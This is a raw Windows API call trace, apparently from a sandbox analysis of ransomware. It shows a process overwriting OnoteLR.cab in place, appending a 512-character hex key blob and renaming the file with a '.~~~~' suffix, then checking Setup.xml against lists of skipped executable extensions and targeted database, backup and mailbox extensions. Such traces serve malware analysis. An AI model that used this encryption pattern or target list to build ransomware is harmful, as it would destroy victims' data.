	[0075.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9711db90, dwHighDateTime=0x1d60e1e)) 
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa6d0
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa6d0 | out: hHeap=0x300000) returned 1
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e75a0
	[0075.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e75a0 | out: hHeap=0x300000) returned 1
	[0075.704] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0075.704] GetLastError () returned 0x0
	[0075.704] GetLastError () returned 0x0
	[0075.704] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0075.704] GetLastError () returned 0x0
	[0075.704] GetLastError () returned 0x0
	[0075.704] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.708] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.708] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0075.709] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.709] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.711] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.711] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.711] CloseHandle (hObject=0x134) returned 1
	[0075.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0075.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.~~~~")) returned 1
	[0075.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0075.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0075.712] GetLastError () returned 0x0
	[0075.712] RtlWakeConditionVariable () returned 0x365f70
	[0075.712] GetCurrentThreadId () returned 0x9cc
	[0075.712] GetCurrentThreadId () returned 0x9cc
	[0075.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0075.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e78e8 | out: hHeap=0x300000) returned 1
	[0075.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa708 | out: hHeap=0x300000) returned 1
	[0075.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e78e8
	[0075.713] lstrlenW (lpString=".scr") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0075.713] lstrlenW (lpString=".cmd") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0075.713] lstrlenW (lpString=".dll") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0075.713] lstrlenW (lpString=".bat") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0075.713] lstrlenW (lpString=".cpl") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0075.713] lstrlenW (lpString=".sys") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0075.713] lstrlenW (lpString=".msc") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0075.713] lstrlenW (lpString=".com") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0075.713] lstrlenW (lpString=".lnk") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0075.713] lstrlenW (lpString=".msp") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0075.713] lstrlenW (lpString=".pif") returned 4
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0075.713] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.713] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.714] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0075.714] lstrlenW (lpString=".sqb") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0075.714] lstrlenW (lpString=".ost") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0075.714] lstrlenW (lpString=".txt") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0075.714] lstrlenW (lpString=".mdt") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0075.714] lstrlenW (lpString=".BDB") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0075.714] lstrlenW (lpString=".eql") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0075.714] lstrlenW (lpString=".DBF") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0075.714] lstrlenW (lpString=".EQL") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0075.714] lstrlenW (lpString=".FDB") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0075.714] lstrlenW (lpString=".EDB") returned 4
	[0075.714] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0075.714] lstrlenW (lpString=".DACPAC") returned 7
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0075.715] lstrlenW (lpString=".VHD") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0075.715] lstrlenW (lpString=".DBV") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0075.715] lstrlenW (lpString=".dacpac") returned 7
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0075.715] lstrlenW (lpString=".sdf") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0075.715] lstrlenW (lpString=".accdb") returned 6
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0075.715] lstrlenW (lpString=".DBX") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0075.715] lstrlenW (lpString=".MDT") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0075.715] lstrlenW (lpString=".SQB") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0075.715] lstrlenW (lpString=".vhd") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0075.715] lstrlenW (lpString=".bac") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0075.715] lstrlenW (lpString=".mdf") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0075.715] lstrlenW (lpString=".BAK") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0075.715] lstrlenW (lpString=".BAC") returned 4
	[0075.715] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0075.716] lstrlenW (lpString=".dbs") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0075.716] lstrlenW (lpString=".vhdx") returned 5
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0075.716] lstrlenW (lpString=".NDF") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0075.716] lstrlenW (lpString=".dat") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0075.716] lstrlenW (lpString=".DBS") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0075.716] lstrlenW (lpString=".CKP") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0075.716] lstrlenW (lpString=".edb") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0075.716] lstrlenW (lpString=".PST") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0075.716] lstrlenW (lpString=".dbf") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0075.716] lstrlenW (lpString=".SQL") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0075.716] lstrlenW (lpString=".pst") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0075.716] lstrlenW (lpString=".dbv") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0075.716] lstrlenW (lpString=".SDF") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0075.716] lstrlenW (lpString=".dtxs") returned 5
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0075.716] lstrlenW (lpString=".db3") returned 4
	[0075.716] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0075.716] lstrlenW (lpString=".OST") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0075.717] lstrlenW (lpString=".dbx") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0075.717] lstrlenW (lpString=".DB3") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0075.717] lstrlenW (lpString=".DAT") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0075.717] lstrlenW (lpString=".VHDX") returned 5
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0075.717] lstrlenW (lpString=".ndf") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0075.717] lstrlenW (lpString=".DB") returned 3
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0075.717] lstrlenW (lpString=".sql") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0075.717] lstrlenW (lpString=".MYD") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0075.717] lstrlenW (lpString=".DBT") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0075.717] lstrlenW (lpString=".ACCDB") returned 6
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0075.717] lstrlenW (lpString=".fdb") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0075.717] lstrlenW (lpString=".bak") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0075.717] lstrlenW (lpString=".myd") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0075.717] lstrlenW (lpString=".DTXS") returned 5
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0075.717] lstrlenW (lpString=".ckp") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0075.717] lstrlenW (lpString=".dbt") returned 4
	[0075.717] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0075.718] lstrlenW (lpString=".db") returned 3
	[0075.718] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0075.718] lstrlenW (lpString=".TXT") returned 4
	[0075.718] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0075.718] lstrlenW (lpString=".MDF") returned 4
	[0075.718] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0075.718] lstrlenW (lpString=".bdb") returned 4
	[0075.718] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0075.718] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.718] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fadf8
	[0075.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.718] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0075.719] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.719] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0075.719] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19570902203) returned 1
	[0075.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97143cf0, dwHighDateTime=0x1d60e1e)) 
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa708
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa708 | out: hHeap=0x300000) returned 1
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7840
	[0075.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7840 | out: hHeap=0x300000) returned 1
	[0075.719] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0075.720] GetLastError () returned 0x0
	[0075.720] GetLastError () returned 0x0
	[0075.720] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0075.720] GetLastError () returned 0x0
	[0075.720] GetLastError () returned 0x0
	[0075.720] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x7c4, lpOverlapped=0x0) returned 1
	[0075.777] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff83c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.777] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x7c4, lpOverlapped=0x0) returned 1
	[0075.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0075.777] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.777] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
